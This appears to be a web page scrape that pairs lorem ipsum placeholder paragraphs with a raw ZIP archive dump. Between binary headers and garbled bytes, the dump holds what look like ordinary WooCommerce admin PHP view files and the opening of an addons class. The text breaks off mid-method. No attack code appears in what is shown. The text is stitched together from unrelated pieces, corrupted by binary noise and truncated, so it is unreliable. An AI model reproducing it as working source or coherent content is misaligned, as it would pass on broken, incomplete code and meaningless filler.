<p>Phasellus quis varius augue. Fusce eu euismod leo, a accumsan tellus. Quisque vitae dolor eu justo cursus egestas. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Sed sit amet sapien odio. Sed pellentesque arcu mi, quis malesuada lectus lacinia et. Cras a tempor leo.</p>

<h2>Lorem ipsum dolor</h2>

<p>Fusce eu euismod leo, a accumsan tellus. Quisque vitae dolor eu justo cursus egestas. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Sed sit amet sapien odio. Sed pellentesque arcu mi, quis malesuada lectus lacinia et. Cras a tempor leo.</p>
PK�3\��]��1views/html-notice-wp-php-minimum-requirements.phpnu�[���<?php
/**
 * Admin View: Notice - PHP & WP minimum requirements.
 *
 * @package WooCommerce\Admin\Notices
 */

defined( 'ABSPATH' ) || exit;
?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', WC_PHP_MIN_REQUIREMENTS_NOTICE ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p>
		<?php
		echo wp_kses_post(
			sprintf(
				$msg . '<p><a href="%s" class="button button-primary">' . __( 'Learn how to upgrade', 'woocommerce' ) . '</a></p>',
				add_query_arg(
					array(
						'utm_source'   => 'wpphpupdatebanner',
						'utm_medium'   => 'product',
						'utm_campaign' => 'woocommerceplugin',
						'utm_content'  => 'docs',
					),
					'https://docs.woocommerce.com/document/update-php-wordpress/'
				)
			)
		);
		?>
	</p>
</div>
PK�3\bT$��	�	!views/html-admin-page-reports.phpnu�[���<?php
/**
 * Admin View: Page - Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div class="wrap woocommerce">
	<?php if ( WC()->is_wc_admin_active() ) { ?>
	<div id="message" class="error inline" style="margin-top:30px">
		<p>
			<strong>
			<?php
			/* translators: 1: Link URL */
			echo wp_kses_post( sprintf( __( 'With the release of WooCommerce 4.0, these reports are being replaced. There is a new and better Analytics section available for users running WordPress 5.3+. Head on over to the <a href="%1$s">WooCommerce Analytics</a> or learn more about the new experience in the <a href="https://docs.woocommerce.com/document/woocommerce-analytics/" target="_blank">WooCommerce Analytics documentation</a>.', 'woocommerce' ), esc_url( wc_admin_url( '&path=/analytics/overview' ) ) ) );
			?>
			</strong>
		</p>
	</div>
	<?php } ?>
	<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
		<?php
		foreach ( $reports as $key => $report_group ) {
			echo '<a href="' . admin_url( 'admin.php?page=wc-reports&tab=' . urlencode( $key ) ) . '" class="nav-tab ';
			if ( $current_tab == $key ) {
				echo 'nav-tab-active';
			}
			echo '">' . esc_html( $report_group['title'] ) . '</a>';
		}

		do_action( 'wc_reports_tabs' );
		?>
	</nav>
	<?php
	if ( count( $reports[ $current_tab ]['reports'] ) > 1 ) {
		?>
		<ul class="subsubsub">
			<li>
			<?php

			$links = array();

			foreach ( $reports[ $current_tab ]['reports'] as $key => $report ) {
				$link = '<a href="admin.php?page=wc-reports&tab=' . urlencode( $current_tab ) . '&amp;report=' . urlencode( $key ) . '" class="';

				if ( $key == $current_report ) {
					$link .= 'current';
				}

				$link .= '">' . $report['title'] . '</a>';

				$links[] = $link;
			}

			echo implode( ' | </li><li>', $links );

			?>
			</li>
		</ul>
		<br class="clear" />
		<?php
	}

	if ( isset( $reports[ $current_tab ]['reports'][ $current_report ] ) ) {
		$report = $reports[ $current_tab ]['reports'][ $current_report ];

		if ( ! isset( $report['hide_title'] ) || true != $report['hide_title'] ) {
			echo '<h1>' . esc_html( $report['title'] ) . '</h1>';
		} else {
			echo '<h1 class="screen-reader-text">' . esc_html( $report['title'] ) . '</h1>';
		}

		if ( $report['description'] ) {
			echo '<p>' . $report['description'] . '</p>';
		}

		if ( $report['callback'] && ( is_callable( $report['callback'] ) ) ) {
			call_user_func( $report['callback'], $current_report );
		}
	}
	?>
</div>
PK�3\c�W���)views/html-notice-maxmind-license-key.phpnu�[���<?php
/**
 * Admin View: Notice - Missing MaxMind license key
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

?>

<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'maxmind_license_key' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p>
		<strong><?php esc_html_e( 'Geolocation has not been configured.', 'woocommerce' ); ?></strong>
	</p>

	<p>
		<?php
		echo wp_kses_post(
			sprintf(
				/* translators: %1%s: integration page %2$s: general settings page */
				__( 'You must enter a valid license key on the <a href="%1$s">MaxMind integration settings page</a> in order to use the geolocation service. If you do not need geolocation for shipping or taxes, you should change the default customer location on the <a href="%2$s">general settings page</a>.', 'woocommerce' ),
				admin_url( 'admin.php?page=wc-settings&tab=integration&section=maxmind_geolocation' ),
				admin_url( 'admin.php?page=wc-settings&tab=general' )
			)
		);
		?>
	</p>
</div>
PK�3\=���views/html-admin-settings.phpnu�[���<?php
/**
 * Admin View: Settings
 *
 * @package WooCommerce
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$tab_exists        = isset( $tabs[ $current_tab ] ) || has_action( 'woocommerce_sections_' . $current_tab ) || has_action( 'woocommerce_settings_' . $current_tab ) || has_action( 'woocommerce_settings_tabs_' . $current_tab );
$current_tab_label = isset( $tabs[ $current_tab ] ) ? $tabs[ $current_tab ] : '';

if ( ! $tab_exists ) {
	wp_safe_redirect( admin_url( 'admin.php?page=wc-settings' ) );
	exit;
}
?>
<div class="wrap woocommerce">
	<?php do_action( 'woocommerce_before_settings_' . $current_tab ); ?>
	<form method="<?php echo esc_attr( apply_filters( 'woocommerce_settings_form_method_tab_' . $current_tab, 'post' ) ); ?>" id="mainform" action="" enctype="multipart/form-data">
		<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
			<?php

			foreach ( $tabs as $slug => $label ) {
				echo '<a href="' . esc_html( admin_url( 'admin.php?page=wc-settings&tab=' . esc_attr( $slug ) ) ) . '" class="nav-tab ' . ( $current_tab === $slug ? 'nav-tab-active' : '' ) . '">' . esc_html( $label ) . '</a>';
			}

			do_action( 'woocommerce_settings_tabs' );

			?>
		</nav>
		<h1 class="screen-reader-text"><?php echo esc_html( $current_tab_label ); ?></h1>
		<?php
			do_action( 'woocommerce_sections_' . $current_tab );

			self::show_messages();

			do_action( 'woocommerce_settings_' . $current_tab );
			do_action( 'woocommerce_settings_tabs_' . $current_tab ); // @deprecated 3.4.0 hook.
		?>
		<p class="submit">
			<?php if ( empty( $GLOBALS['hide_save_button'] ) ) : ?>
				<button name="save" class="button-primary woocommerce-save-button" type="submit" value="<?php esc_attr_e( 'Save changes', 'woocommerce' ); ?>"><?php esc_html_e( 'Save changes', 'woocommerce' ); ?></button>
			<?php endif; ?>
			<?php wp_nonce_field( 'woocommerce-settings' ); ?>
		</p>
	</form>
	<?php do_action( 'woocommerce_after_settings_' . $current_tab ); ?>
</div>
PK�3\���w�� views/html-admin-page-status.phpnu�[���<?php
/**
 * Admin View: Page - Status
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$current_tab = ! empty( $_REQUEST['tab'] ) ? sanitize_title( $_REQUEST['tab'] ) : 'status';
$tabs        = array(
	'status' => __( 'System status', 'woocommerce' ),
	'tools'  => __( 'Tools', 'woocommerce' ),
	'logs'   => __( 'Logs', 'woocommerce' ),
);
$tabs        = apply_filters( 'woocommerce_admin_status_tabs', $tabs );
?>
<div class="wrap woocommerce">
	<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
		<?php
		foreach ( $tabs as $name => $label ) {
			echo '<a href="' . admin_url( 'admin.php?page=wc-status&tab=' . $name ) . '" class="nav-tab ';
			if ( $current_tab == $name ) {
				echo 'nav-tab-active';
			}
			echo '">' . $label . '</a>';
		}
		?>
	</nav>
	<h1 class="screen-reader-text"><?php echo esc_html( $tabs[ $current_tab ] ); ?></h1>
	<?php
	switch ( $current_tab ) {
		case 'tools':
			WC_Admin_Status::status_tools();
			break;
		case 'logs':
			WC_Admin_Status::status_logs();
			break;
		default:
			if ( array_key_exists( $current_tab, $tabs ) && has_action( 'woocommerce_admin_status_content_' . $current_tab ) ) {
				do_action( 'woocommerce_admin_status_content_' . $current_tab );
			} else {
				WC_Admin_Status::status_report();
			}
			break;
	}
	?>
</div>
PK�3\J�� ccviews/html-report-by-date.phpnu�[���<?php
/**
 * Admin View: Report by Date (with date filters)
 *
 * @package WooCommerce\Admin\Reporting
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}
?>
<div id="poststuff" class="woocommerce-reports-wide">
	<div class="postbox">

	<?php if ( 'custom' === $current_range && isset( $_GET['start_date'], $_GET['end_date'] ) ) : ?>
		<h3 class="screen-reader-text">
			<?php
			/* translators: 1: start date 2: end date */
			printf(
				esc_html__( 'From %1$s to %2$s', 'woocommerce' ),
				esc_html( wc_clean( wp_unslash( $_GET['start_date'] ) ) ),
				esc_html( wc_clean( wp_unslash( $_GET['end_date'] ) ) )
			);
			?>
		</h3>
	<?php else : ?>
		<h3 class="screen-reader-text"><?php echo esc_html( $ranges[ $current_range ] ); ?></h3>
	<?php endif; ?>

		<div class="stats_range">
			<?php $this->get_export_button(); ?>
			<ul>
				<?php
				foreach ( $ranges as $range => $name ) {
					echo '<li class="' . ( $current_range == $range ? 'active' : '' ) . '"><a href="' . esc_url( remove_query_arg( array( 'start_date', 'end_date' ), add_query_arg( 'range', $range ) ) ) . '">' . esc_html( $name ) . '</a></li>';
				}
				?>
				<li class="custom <?php echo ( 'custom' === $current_range ) ? 'active' : ''; ?>">
					<?php esc_html_e( 'Custom:', 'woocommerce' ); ?>
					<form method="GET">
						<div>
							<?php
							// Maintain query string.
							foreach ( $_GET as $key => $value ) {
								if ( is_array( $value ) ) {
									foreach ( $value as $v ) {
										echo '<input type="hidden" name="' . esc_attr( sanitize_text_field( $key ) ) . '[]" value="' . esc_attr( sanitize_text_field( $v ) ) . '" />';
									}
								} else {
									echo '<input type="hidden" name="' . esc_attr( sanitize_text_field( $key ) ) . '" value="' . esc_attr( sanitize_text_field( $value ) ) . '" />';
								}
							}
							?>
							<input type="hidden" name="range" value="custom" />
							<input type="text" size="11" placeholder="yyyy-mm-dd" value="<?php echo ( ! empty( $_GET['start_date'] ) ) ? esc_attr( wp_unslash( $_GET['start_date'] ) ) : ''; ?>" name="start_date" class="range_datepicker from" autocomplete="off" /><?php //@codingStandardsIgnoreLine ?>
							<span>&ndash;</span>
							<input type="text" size="11" placeholder="yyyy-mm-dd" value="<?php echo ( ! empty( $_GET['end_date'] ) ) ? esc_attr( wp_unslash( $_GET['end_date'] ) ) : ''; ?>" name="end_date" class="range_datepicker to" autocomplete="off" /><?php //@codingStandardsIgnoreLine ?>
							<button type="submit" class="button" value="<?php esc_attr_e( 'Go', 'woocommerce' ); ?>"><?php esc_html_e( 'Go', 'woocommerce' ); ?></button>
							<?php wp_nonce_field( 'custom_range', 'wc_reports_nonce', false ); ?>
						</div>
					</form>
				</li>
			</ul>
		</div>
		<?php if ( empty( $hide_sidebar ) ) : ?>
			<div class="inside chart-with-sidebar">
				<div class="chart-sidebar">
					<?php if ( $legends = $this->get_chart_legend() ) : ?>
						<ul class="chart-legend">
							<?php foreach ( $legends as $legend ) : ?>
								<?php // @codingStandardsIgnoreStart ?>
								<li style="border-color: <?php echo $legend['color']; ?>" <?php if ( isset( $legend['highlight_series'] ) ) echo 'class="highlight_series ' . ( isset( $legend['placeholder'] ) ? 'tips' : '' ) . '" data-series="' . esc_attr( $legend['highlight_series'] ) . '"'; ?> data-tip="<?php echo isset( $legend['placeholder'] ) ? $legend['placeholder'] : ''; ?>">
									<?php echo $legend['title']; ?>
								</li>
								<?php // @codingStandardsIgnoreEnd ?>
							<?php endforeach; ?>
						</ul>
					<?php endif; ?>
					<ul class="chart-widgets">
						<?php foreach ( $this->get_chart_widgets() as $widget ) : ?>
							<li class="chart-widget">
								<?php if ( $widget['title'] ) : ?>
									<h4><?php echo esc_html( $widget['title'] ); ?></h4>
								<?php endif; ?>
								<?php call_user_func( $widget['callback'] ); ?>
							</li>
						<?php endforeach; ?>
					</ul>
				</div>
				<div class="main">
					<?php $this->get_main_chart(); ?>
				</div>
			</div>
		<?php else : ?>
			<div class="inside">
				<?php $this->get_main_chart(); ?>
			</div>
		<?php endif; ?>
	</div>
</div>
PK�3\�q�QBB&views/html-admin-page-status-tools.phpnu�[���<?php
/**
 * Admin View: Page - Status Tools
 *
 * @package WooCommerce
 */

use Automattic\WooCommerce\Utilities\ArrayUtil;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

foreach ( $tools as $action_name => $tool ) {
	?>
	<form id="<?php echo esc_attr( 'form_' . $action_name ); ?>" method="GET" action="<?php echo esc_attr( esc_url( admin_url( 'admin.php?foo=bar' ) ) ); ?>">
		<?php wp_nonce_field( 'debug_action', '_wpnonce', false ); ?>
		<input type="hidden" name="page" value="wc-status"/>
		<input type="hidden" name="tab" value="tools"/>
		<input type="hidden" name="action" value="<?php echo esc_attr( $action_name ); ?>"/>
	</form>
	<?php
}
?>

<table class="wc_status_table wc_status_table--tools widefat" cellspacing="0">
	<tbody class="tools">
		<?php foreach ( $tools as $action_name => $tool ) : ?>
			<tr class="<?php echo sanitize_html_class( $action_name ); ?>">
				<th>
					<strong class="name"><?php echo esc_html( $tool['name'] ); ?></strong>
					<p class="description">
						<?php
						echo wp_kses_post( $tool['desc'] );
						if ( ! is_null( ArrayUtil::get_value_or_default( $tool, 'selector' ) ) ) {
							$selector = $tool['selector'];
							if ( isset( $selector['description'] ) ) {
								echo '</p><p class="description">';
								echo wp_kses_post( $selector['description'] );
							}
							// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
							echo "&nbsp;&nbsp;<select style='width: 300px;' form='form_$action_name' id='selector_$action_name' data-allow_clear='true' class='${selector['class']}' name='${selector['name']}' data-placeholder='${selector['placeholder']}' data-action='${selector['search_action']}'></select>";
						}
						?>
					</p>
				</th>
				<td class="run-tool">
					<?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
					<input <?php echo ArrayUtil::is_truthy( $tool, 'disabled' ) ? 'disabled' : ''; ?> type="submit" form="<?php echo 'form_' . $action_name; ?>" class="button button-large" value="<?php echo esc_attr( $tool['button'] ); ?>" />
				</td>
			</tr>
		<?php endforeach; ?>
	</tbody>
</table>
PK�3\r�B[��views/html-notice-updated.phpnu�[���<?php
/**
 * Admin View: Notice - Updated.
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div id="message" class="updated woocommerce-message wc-connect woocommerce-message--success">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'update', remove_query_arg( 'do_update_woocommerce' ) ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p><?php esc_html_e( 'WooCommerce database update complete. Thank you for updating to the latest version!', 'woocommerce' ); ?></p>
</div>
PK�3\�`&��/views/html-notice-regenerating-lookup-table.phpnu�[���<?php
/**
 * Admin View: Notice - Regenerating product lookup table.
 *
 * @package WooCommerce\Admin
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

$pending_actions_url = admin_url( 'admin.php?page=wc-status&tab=action-scheduler&s=wc_update_product_lookup_tables&status=pending' );
$cron_disabled       = Constants::is_true( 'DISABLE_WP_CRON' );
$cron_cta            = $cron_disabled ? __( 'You can manually run queued updates here.', 'woocommerce' ) : __( 'View progress &rarr;', 'woocommerce' );
?>
<div id="message" class="updated woocommerce-message">
	<p>
		<strong><?php esc_html_e( 'WooCommerce is updating product data in the background', 'woocommerce' ); ?></strong><br>
		<?php
		esc_html_e( 'Product display, sorting, and reports may not be accurate until this finishes. It will take a few minutes and this notice will disappear when complete.', 'woocommerce' );

		if ( $cron_disabled ) {
			echo '<br>' . esc_html__( 'Note: WP CRON has been disabled on your install which may prevent this update from completing.', 'woocommerce' );
		}
		?>
		&nbsp;<a href="<?php echo esc_url( $pending_actions_url ); ?>"><?php echo esc_html( $cron_cta ); ?></a>
	</p>
</div>
PK�3\���33$views/html-admin-dashboard-setup.phpnu�[���<?php
/**
 * Admin View: Dashboard - Finish Setup
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="dashboard-widget-finish-setup">
	<span class='progress-wrapper'>
		<svg class="circle-progress" width="17" height="17" version="1.1" xmlns="http://www.w3.org/2000/svg">
		  <circle r="6.5" cx="10" cy="10" fill="transparent" stroke-dasharray="40.859" stroke-dashoffset="0"></circle>
		  <circle class="bar" r="6.5" cx="190" cy="10" fill="transparent" stroke-dasharray="40.859" stroke-dashoffset="<?php echo esc_attr( $circle_dashoffset ); ?>" transform='rotate(-90 100 100)'></circle>
		</svg>
		<span><?php echo esc_html_e( 'Step', 'woocommerce' ); ?> <?php echo esc_html( $completed_tasks_count ); ?> <?php echo esc_html_e( 'of', 'woocommerce' ); ?> <?php echo esc_html( $tasks_count ); ?></span>
	</span>

	<div class="description">
		<div>
			<?php echo esc_html_e( 'You\'re almost there! Once you complete store setup you can start receiving orders.', 'woocommerce' ); ?>
			<div><a href='<?php echo esc_attr( $button_link ); ?>' class='button button-primary'><?php echo esc_html_e( 'Start selling', 'woocommerce' ); ?></a></div>
		</div>
		<img src="<?php echo esc_url( WC()->plugin_url() ); ?>/assets/images/dashboard-widget-setup.png" />
	</div>
	<div class="clear"></div>
</div>
PK�3\_֕�����class-wc-admin-addons.phpnu�[���<?php
/**
 * Addons Page
 *
 * @package  WooCommerce\Admin
 * @version  2.5.0
 */

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Admin\RemoteInboxNotifications as PromotionRuleEngine;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Admin_Addons Class.
 */
class WC_Admin_Addons {

	/**
	 * Get featured for the addons screen
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @return array of objects
	 */
	public static function get_featured() {
		$featured = get_transient( 'wc_addons_featured' );
		if ( false === $featured ) {
			$headers = array();
			$auth    = WC_Helper_Options::get( 'auth' );

			if ( ! empty( $auth['access_token'] ) ) {
				$headers['Authorization'] = 'Bearer ' . $auth['access_token'];
			}

			$raw_featured = wp_safe_remote_get(
				'https://woocommerce.com/wp-json/wccom-extensions/1.0/featured',
				array(
					'headers'    => $headers,
					'user-agent' => 'WooCommerce Addons Page',
				)
			);

			if ( ! is_wp_error( $raw_featured ) ) {
				$featured = json_decode( wp_remote_retrieve_body( $raw_featured ) );
				if ( $featured ) {
					set_transient( 'wc_addons_featured', $featured, DAY_IN_SECONDS );
				}
			}
		}

		if ( is_object( $featured ) ) {
			self::output_featured_sections( $featured->sections );
			return $featured;
		}
	}

	/**
	 * Render featured products and banners using WCCOM's the Featured 2.0 Endpoint
	 *
	 * @return void
	 */
	public static function render_featured() {
		$featured = get_transient( 'wc_addons_featured_2' );
		if ( false === $featured ) {
			$headers = array();
			$auth    = WC_Helper_Options::get( 'auth' );

			if ( ! empty( $auth['access_token'] ) ) {
				$headers['Authorization'] = 'Bearer ' . $auth['access_token'];
			}

			$parameter_string = '';
			$country          = WC()->countries->get_base_country();
			if ( ! empty( $country ) ) {
				$parameter_string = '?' . http_build_query( array( 'country' => $country ) );
			}

			// Important: WCCOM Extensions API v2.0 is used.
			$raw_featured = wp_safe_remote_get(
				'https://woocommerce.com/wp-json/wccom-extensions/2.0/featured' . $parameter_string,
				array(
					'headers'    => $headers,
					'user-agent' => 'WooCommerce Addons Page',
				)
			);

			if ( ! is_wp_error( $raw_featured ) ) {
				$featured = json_decode( wp_remote_retrieve_body( $raw_featured ) );
				if ( $featured ) {
					set_transient( 'wc_addons_featured_2', $featured, DAY_IN_SECONDS );
				}
			}
		}

		if ( ! empty( $featured ) ) {
			self::output_featured( $featured );
		}
	}

	/**
	 * Build url parameter string
	 *
	 * @param  string $category Addon (sub) category.
	 * @param  string $term     Search terms.
	 * @param  string $country  Store country.
	 *
	 * @return string url parameter string
	 */
	public static function build_parameter_string( $category, $term, $country ) {

		$parameters = array(
			'category' => $category,
			'term'     => $term,
			'country'  => $country,
		);

		return '?' . http_build_query( $parameters );
	}

	/**
	 * Call API to get extensions
	 *
	 * @param  string $category Addon (sub) category.
	 * @param  string $term     Search terms.
	 * @param  string $country  Store country.
	 *
	 * @return object of extensions and promotions.
	 */
	public static function get_extension_data( $category, $term, $country ) {
		$parameters = self::build_parameter_string( $category, $term, $country );

		$headers = array();
		$auth    = WC_Helper_Options::get( 'auth' );

		if ( ! empty( $auth['access_token'] ) ) {
			$headers['Authorization'] = 'Bearer ' . $auth['access_token'];
		}

		$raw_extensions = wp_safe_remote_get(
			'https://woocommerce.com/wp-json/wccom-extensions/1.0/search' . $parameters,
			array( 'headers' => $headers )
		);

		if ( ! is_wp_error( $raw_extensions ) ) {
			$addons = json_decode( wp_remote_retrieve_body( $raw_extensions ) );
		}
		return $addons;
	}

	/**
	 * Get sections for the addons screen
	 *
	 * @return array of objects
	 */
	public static function get_sections() {
		$addon_sections = get_transient( 'wc_addons_sections' );
		if ( false === ( $addon_sections ) ) {
			$raw_sections = wp_safe_remote_get(
				'https://woocommerce.com/wp-json/wccom-extensions/1.0/categories'
			);
			if ( ! is_wp_error( $raw_sections ) ) {
				$addon_sections = json_decode( wp_remote_retrieve_body( $raw_sections ) );
				if ( $addon_sections ) {
					set_transient( 'wc_addons_sections', $addon_sections, WEEK_IN_SECONDS );
				}
			}
		}
		return apply_filters( 'woocommerce_addons_sections', $addon_sections );
	}

	/**
	 * Get section for the addons screen.
	 *
	 * @param  string $section_id Required section ID.
	 *
	 * @return object|bool
	 */
	public static function get_section( $section_id ) {
		$sections = self::get_sections();
		if ( isset( $sections[ $section_id ] ) ) {
			return $sections[ $section_id ];
		}
		return false;
	}


	/**
	 * Get section content for the addons screen.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param  string $section_id Required section ID.
	 *
	 * @return array
	 */
	public static function get_section_data( $section_id ) {
		$section      = self::get_section( $section_id );
		$section_data = '';

		if ( ! empty( $section->endpoint ) ) {
			$section_data = get_transient( 'wc_addons_section_' . $section_id );
			if ( false === $section_data ) {
				$raw_section = wp_safe_remote_get( esc_url_raw( $section->endpoint ), array( 'user-agent' => 'WooCommerce Addons Page' ) );

				if ( ! is_wp_error( $raw_section ) ) {
					$section_data = json_decode( wp_remote_retrieve_body( $raw_section ) );

					if ( ! empty( $section_data->products ) ) {
						set_transient( 'wc_addons_section_' . $section_id, $section_data, WEEK_IN_SECONDS );
					}
				}
			}
		}

		return apply_filters( 'woocommerce_addons_section_data', $section_data->products, $section_id );
	}

	/**
	 * Handles the outputting of a contextually aware Storefront link (points to child themes if Storefront is already active).
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 */
	public static function output_storefront_button() {
		$template   = get_option( 'template' );
		$stylesheet = get_option( 'stylesheet' );

		if ( 'storefront' === $template ) {
			if ( 'storefront' === $stylesheet ) {
				$url         = 'https://woocommerce.com/product-category/themes/storefront-child-theme-themes/';
				$text        = __( 'Need a fresh look? Try Storefront child themes', 'woocommerce' );
				$utm_content = 'nostorefrontchildtheme';
			} else {
				$url         = 'https://woocommerce.com/product-category/themes/storefront-child-theme-themes/';
				$text        = __( 'View more Storefront child themes', 'woocommerce' );
				$utm_content = 'hasstorefrontchildtheme';
			}
		} else {
			$url         = 'https://woocommerce.com/storefront/';
			$text        = __( 'Need a theme? Try Storefront', 'woocommerce' );
			$utm_content = 'nostorefront';
		}

		$url = add_query_arg(
			array(
				'utm_source'   => 'addons',
				'utm_medium'   => 'product',
				'utm_campaign' => 'woocommerceplugin',
				'utm_content'  => $utm_content,
			),
			$url
		);

		echo '<a href="' . esc_url( $url ) . '" class="add-new-h2">' . esc_html( $text ) . '</a>' . "\n";
	}

	/**
	 * Handles the outputting of a banner block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Banner data.
	 */
	public static function output_banner_block( $block ) {
		?>
		<div class="addons-banner-block">
			<h1><?php echo esc_html( $block->title ); ?></h1>
			<p><?php echo esc_html( $block->description ); ?></p>
			<div class="addons-banner-block-items">
				<?php foreach ( $block->items as $item ) : ?>
					<?php if ( self::show_extension( $item ) ) : ?>
						<div class="addons-banner-block-item">
							<div class="addons-banner-block-item-icon">
								<img class="addons-img" src="<?php echo esc_url( $item->image ); ?>" />
							</div>
							<div class="addons-banner-block-item-content">
								<h3><?php echo esc_html( $item->title ); ?></h3>
								<p><?php echo esc_html( $item->description ); ?></p>
								<?php
									self::output_button(
										$item->href,
										$item->button,
										'addons-button-solid',
										$item->plugin
									);
								?>
							</div>
						</div>
					<?php endif; ?>
				<?php endforeach; ?>
			</div>
		</div>
		<?php
	}

	/**
	 * Handles the outputting of a column.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Column data.
	 */
	public static function output_column( $block ) {
		if ( isset( $block->container ) && 'column_container_start' === $block->container ) {
			?>
			<div class="addons-column-section">
			<?php
		}
		if ( 'column_start' === $block->module ) {
			?>
			<div class="addons-column">
			<?php
		} else {
			?>
			</div>
			<?php
		}
		if ( isset( $block->container ) && 'column_container_end' === $block->container ) {
			?>
			</div>
			<?php
		}
	}

	/**
	 * Handles the outputting of a column block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Column block data.
	 */
	public static function output_column_block( $block ) {
		?>
		<div class="addons-column-block">
			<h1><?php echo esc_html( $block->title ); ?></h1>
			<p><?php echo esc_html( $block->description ); ?></p>
			<?php foreach ( $block->items as $item ) : ?>
				<?php if ( self::show_extension( $item ) ) : ?>
					<div class="addons-column-block-item">
						<div class="addons-column-block-item-icon">
							<img class="addons-img" src="<?php echo esc_url( $item->image ); ?>" />
						</div>
						<div class="addons-column-block-item-content">
							<h2><?php echo esc_html( $item->title ); ?></h2>
							<?php
								self::output_button(
									$item->href,
									$item->button,
									'addons-button-solid',
									$item->plugin
								);
							?>
							<p><?php echo esc_html( $item->description ); ?></p>
						</div>
					</div>
				<?php endif; ?>
			<?php endforeach; ?>
		</div>

		<?php
	}

	/**
	 * Handles the outputting of a small light block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Block data.
	 */
	public static function output_small_light_block( $block ) {
		?>
		<div class="addons-small-light-block">
			<img class="addons-img" src="<?php echo esc_url( $block->image ); ?>" />
			<div class="addons-small-light-block-content">
				<h1><?php echo esc_html( $block->title ); ?></h1>
				<p><?php echo esc_html( $block->description ); ?></p>
				<div class="addons-small-light-block-buttons">
					<?php foreach ( $block->buttons as $button ) : ?>
						<?php
							self::output_button(
								$button->href,
								$button->text,
								'addons-button-solid'
							);
						?>
					<?php endforeach; ?>
				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * Handles the outputting of a small dark block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Block data.
	 */
	public static function output_small_dark_block( $block ) {
		?>
		<div class="addons-small-dark-block">
			<h1><?php echo esc_html( $block->title ); ?></h1>
			<p><?php echo esc_html( $block->description ); ?></p>
			<div class="addons-small-dark-items">
				<?php foreach ( $block->items as $item ) : ?>
					<div class="addons-small-dark-item">
						<?php if ( ! empty( $item->image ) ) : ?>
							<div class="addons-small-dark-item-icon">
								<img class="addons-img" src="<?php echo esc_url( $item->image ); ?>" />
							</div>
						<?php endif; ?>
						<?php
							self::output_button(
								$item->href,
								$item->button,
								'addons-button-outline-white'
							);
						?>
					</div>
				<?php endforeach; ?>
			</div>
		</div>
		<?php
	}

	/**
	 * Handles the outputting of the WooCommerce Services banner block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Block data.
	 */
	public static function output_wcs_banner_block( $block = array() ) {
		$is_active = is_plugin_active( 'woocommerce-services/woocommerce-services.php' );
		$location  = wc_get_base_location();

		if (
			! in_array( $location['country'], array( 'US' ), true ) ||
			$is_active ||
			! current_user_can( 'install_plugins' ) ||
			! current_user_can( 'activate_plugins' )
		) {
			return;
		}

		$button_url = wp_nonce_url(
			add_query_arg(
				array(
					'install-addon' => 'woocommerce-services',
				)
			),
			'install-addon_woocommerce-services'
		);

		$defaults = array(
			'image'       => WC()->plugin_url() . '/assets/images/wcs-extensions-banner-3x.jpg',
			'image_alt'   => __( 'WooCommerce Shipping', 'woocommerce' ),
			'title'       => __( 'Save time and money with WooCommerce Shipping', 'woocommerce' ),
			'description' => __( 'Print discounted USPS and DHL labels straight from your WooCommerce dashboard and save on shipping.', 'woocommerce' ),
			'button'      => __( 'Free - Install now', 'woocommerce' ),
			'href'        => $button_url,
			'logos'       => array(),
		);

		switch ( $location['country'] ) {
			case 'US':
				$local_defaults = array(
					'logos' => array_merge(
						$defaults['logos'],
						array(
							array(
								'link' => WC()->plugin_url() . '/assets/images/wcs-usps-logo.png',
								'alt'  => 'USPS logo',
							),
							array(
								'link' => WC()->plugin_url() . '/assets/images/wcs-dhlexpress-logo.png',
								'alt'  => 'DHL Express logo',
							),
						)
					),
				);
				break;
			default:
				$local_defaults = array();
		}

		$block_data = array_merge( $defaults, $local_defaults, $block );
		?>
